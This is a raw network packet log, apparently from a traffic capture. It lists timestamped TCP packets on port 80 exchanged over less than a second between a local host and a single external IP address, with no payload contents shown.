Nov 30, 2024 09:44:04.332664013 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.332998037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.333039045 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.335483074 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.335527897 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.335797071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.335839033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.338113070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.338156939 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.338502884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.338541985 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.340856075 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.340909958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.341228962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.341275930 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.343518972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.343561888 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.343910933 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.343950033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.346214056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.346265078 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.346611023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.346658945 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.348937988 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.348980904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.349314928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.349358082 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.351630926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.351677895 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.352027893 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.352067947 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.354330063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.354407072 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.382302999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.382371902 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.382678986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.382725000 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.383450031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.383492947 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.384223938 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.384267092 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.385204077 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.385243893 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.385776997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.385808945 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.387388945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.387430906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.387727022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.387768984 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.389224052 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.389270067 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.389491081 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.389530897 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.391083956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.391117096 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.391482115 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.391522884 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.393014908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.393070936 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.393415928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.393455982 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.394946098 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.394984961 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.395382881 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.395416021 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.396974087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.397016048 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.397336960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.397380114 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.398871899 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.398912907 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.399267912 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.399307966 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.400819063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.400856972 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.401222944 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.401267052 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.402875900 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.402921915 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.403254032 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.403295994 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.404714108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.404769897 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.405136108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.405180931 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.406646967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.406691074 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.407053947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.407093048 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.408653021 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.408691883 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.409074068 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.409113884 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.410532951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.410584927 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.410940886 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.410991907 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.412539005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.412578106 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.412900925 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.412941933 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.414452076 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.414494991 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.414843082 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.414897919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.416443110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.416486979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.416801929 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.416838884 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.433855057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.433923960 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.434263945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.434307098 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.435039997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.435090065 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.435798883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.435842991 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.436821938 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.436865091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.437410116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.437446117 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.438683033 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.438724041 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.439084053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.439124107 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.440660000 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.440706968 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.441040993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.441087008 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.442610979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.442651033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.443008900 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.443048000 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.444503069 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.444550037 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.445014000 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.445058107 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.446485043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.446526051 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.446872950 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.446913958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.448386908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.448440075 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.448792934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.448834896 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.450356960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.450400114 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.450767994 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.450809002 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.452311993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.452353001 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.452713013 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.452778101 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.454251051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.454294920 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.454626083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.454665899 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.507214069 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.507302999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.507586956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.507633924 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.508336067 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.508375883 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.508646965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.508690119 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.509404898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.509449005 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.510457993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.510500908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.510962963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.511002064 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.511961937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.512001991 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.512377024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.512422085 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.513947964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.513993979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.514344931 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.514386892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.515922070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.515961885 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.516325951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.516370058 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.517819881 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.517863035 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.518234968 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.518275023 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.519762993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.519818068 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.520163059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.520212889 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.521739006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.521791935 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.522118092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.522164106 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.523735046 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.523782969 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.524075985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.524117947 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.525602102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.525655031 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.525996923 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.526043892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.527561903 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.527626038 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.527981997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.528033972 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.529424906 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.529474974 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.529809952 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.529854059 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.531212091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.531259060 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.531778097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.531826019 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.533097982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.533153057 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.533584118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.533628941 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.534769058 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.534822941 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.535490036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.535541058 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.536549091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.536597967 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.537036896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.537084103 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.538285017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.538336992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.538651943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.538702011 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.539884090 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.539938927 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.540294886 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.540357113 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.541640043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.541693926 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.541976929 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.542033911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.543195009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.543243885 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.543602943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.543665886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.544838905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.544886112 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.545253038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.545300961 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.546535969 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.546581984 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.546895027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.546938896 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.548132896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.548181057 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.548551083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.548598051 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.549760103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.549799919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.550162077 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.550204992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.583892107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.584055901 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.584223032 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.584271908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.584996939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.585047960 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.585747004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.585788965 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.586569071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.586580038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.586617947 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.586630106 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.588092089 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.588105917 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.588165045 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.589658022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.589669943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.589720964 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.591175079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.591187000 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.591228962 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.592730999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.592744112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.592782021 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.594434023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.594448090 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.594480991 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.594521999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.595808983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.595822096 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.595856905 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.597337961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.597349882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.597393036 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.599060059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.599071980 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.599122047 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.600781918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.600792885 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.600851059 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.602478981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.602492094 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.602500916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.602535963 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.602560043 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.632172108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.632266045 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.632764101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.632821083 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.633580923 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.633591890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.633636951 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.635099888 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.635153055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.635845900 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.635896921 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.636643887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.636657953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.636698961 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.638185024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.638199091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.638235092 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.638262987 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.639771938 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.639784098 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.639820099 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.639831066 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.641330957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.641344070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.641381979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.642853975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.642865896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.642904997 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.644387960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.644402027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.644438028 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.644464016 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.645895004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.645914078 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.645939112 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.645956039 CET	49730	80	192.168.2.4	185.215.113.206
